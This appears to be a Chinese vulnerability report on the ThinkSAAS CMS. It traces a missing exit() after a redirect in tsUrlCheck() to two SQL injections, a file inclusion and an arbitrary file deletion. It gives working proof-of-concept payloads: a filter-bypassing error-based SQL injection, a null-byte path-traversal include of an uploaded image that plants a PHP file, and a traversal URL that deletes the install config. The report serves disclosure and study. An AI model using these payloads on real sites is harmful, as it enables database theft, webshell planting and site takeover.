### 简要描述:
SQL注入+文件包含+...
向xfkxfk牛学习,多个漏洞打包,希望走一个大厂商流程。
### 详细说明:
最新版中tsUrlCheck()函数引发了多个漏洞
\thinksaas\tsFunction.php
```
function tsUrlCheck($parameter) {
$parameter = trim($parameter);
//echo $parameter;exit();
$arrStr = str_split($parameter);
$strOk = '%-_1234567890abcdefghijklmnopqrstuvwxyz';
foreach ($arrStr as $key => $item) {
if (stripos($strOk, $item) === false) {
//qiMsg('非法URL参数!');
header('Location: /');
}
}
return $parameter;
}
```
检查传入的参数存在非$strOk变量中的字符时,就是用header跳转。
但是没有使用exit()来退出,所以程序依然会继续往下执行。
那么问题来了!
1、第一处SQL注入:
\app\tag\action\add.php
```
case "do":
$objname = tsFilter($_POST['objname']);
$idname = tsFilter($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);
$new['tag']->addTag($objname,$idname,$objid,$tags);
```
$objname和$idname可控,而tsFilter()函数只进行了简单的过滤,可以被绕过,参考: [WooYun: ThinkSAAS最新版绕过过滤继续注入](http://www.wooyun.org/bugs/wooyun-2014-053361)
之后两个可控变量进入addTag()
\app\tag\class.tag.php
```
function addTag($objname,$idname,$objid,$tags){
$objname = tsUrlCheck($objname);
$idname = tsUrlCheck($idname);
$objid = intval($objid);
if($objname != '' && $idname != '' && $objid!=0 && $tags!=''){
$tags = str_replace ( ',', ',', $tags );
$arrTag = explode(',',$tags);
foreach($arrTag as $item){
$tagname = t($item);
if(strlen($tagname) < '32' && $tagname != ''){
$uptime = time();
$tagcount = $this->findCount('tag',array(
'tagname'=>$tagname,
));
if($tagcount == '0'){
$tagid = $this->create('tag',array(
'tagname'=>$tagname,
'uptime'=>$uptime,
));
$tagIndexCount = $this->findCount('tag_'.$objname.'_index',array(
$idname=>$objid,
'tagid'=>$tagid,
));
```
$objname和$idname进入$this->findCount()
$objname在表名处、$idname在作为$key,传入findCount()
跟进findCount()可以发现没有对$key进行过滤,并且没有被引号包裹,所以不受GPC限制。
因为此处有header会跳转,并且thinksaas报错不回显,所以需要有其他方式得到注入信息。
参考: [WooYun: Thinksaas最新版注入无视GPC](http://www.wooyun.org/bugs/wooyun-2014-051124)
可以知道thinksaas所有的mysql报错信息都会被记录在一个日志文件中,所以使用报错注入就可以成功了。
2、第二处SQL注入:
\app\tag\action\add_ajax.php
```
case "do":
$objname = tsUrlCheck($_POST['objname']);
$idname = tsUrlCheck($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);
$new['tag']->addTag($objname,$idname,$objid,$tags);
```
这里则直接用tsUrlCheck()检查POST数据的情况,连tsFilter()都没有使用。之后的分析与1相同
3、任意文件包含:
\thinksaas\thinksaas.php
```
$app = isset($_GET['app']) ? tsUrlCheck($_GET['app']) : 'home';
...
include 'app/' . $app . '/config.php';
```
GET的参数只因果tsUrlCheck检查就传入了include。
所以可以通过截断,直接包含任意文件。
4、任意文件删除:
/app/system/action/plugin.php
```
case "delete":
$apps = tsUrlCheck($_GET['apps']);
$pname = tsUrlCheck($_GET['pname']);
delDir('plugins/'.$apps.'/'.$pname);
```
同样$apps和$pname只经过了tsUrlCheck的检测,就进入了危险函数。两个变量用户都可控,不需要截断,想怎么删就这么删。
不过由于该操作只能管理员操作,所以需要配合CSRF使用
### 漏洞证明:
1、注入:
给出复杂一些的第一处SQL注入的演示和exp:
exp:http://192.168.226.131/thinksaas/index.php?app=tag&ac=add&ts=do
```
objname=article&idname=1=1 anand d (selselect ect 1 frfrom om(selselect ect cocount unt(*),concat((selselect ect (selselect ect (selselect ect user())) frfrom om information_schema.tables limit 0,1),floor(rand(0)*2))x frfrom om information_schema.tables group bby y x)a)/*&objid=3&tags=5
```
[<img src="https://images.seebug.org/upload/201501/301312549cfee9cf9884b3fb0de766bb881c46d8.png" alt="sql.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/301312549cfee9cf9884b3fb0de766bb881c46d8.png)
2、文件包含:
首先在上传头像处上传一个插了php代码的图片
[<img src="https://images.seebug.org/upload/201501/30131456a7d5b38a3627a7eea232b159947853b6.png" alt="include1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/30131456a7d5b38a3627a7eea232b159947853b6.png)
[<img src="https://images.seebug.org/upload/201501/301316564e6ecc76a6b654641d880b8dd43af542.jpg" alt="include2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/301316564e6ecc76a6b654641d880b8dd43af542.jpg)
接着访问,进行包含:
http://192.168.226.131/thinksaas/index.php?app=../cache/user/0/0/120/2.jpg%00a
在根目录下生成一个1.php
[<img src="https://images.seebug.org/upload/201501/30131927808e8e1d41aced53777a1304d2d346f6.png" alt="include3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/30131927808e8e1d41aced53777a1304d2d346f6.png)
3、任意文件删除:
以管理员身份,访问:
http://192.168.226.131/thinksaas/index.php?app=system&ac=plugin&ts=delete&apps=..&pname=data/config.inc.php
因为thinksaas通过判断是否存在config.inc.php,来判断是否进行过安装,所以删除该文件后,就可以进行再次安装。
暂无评论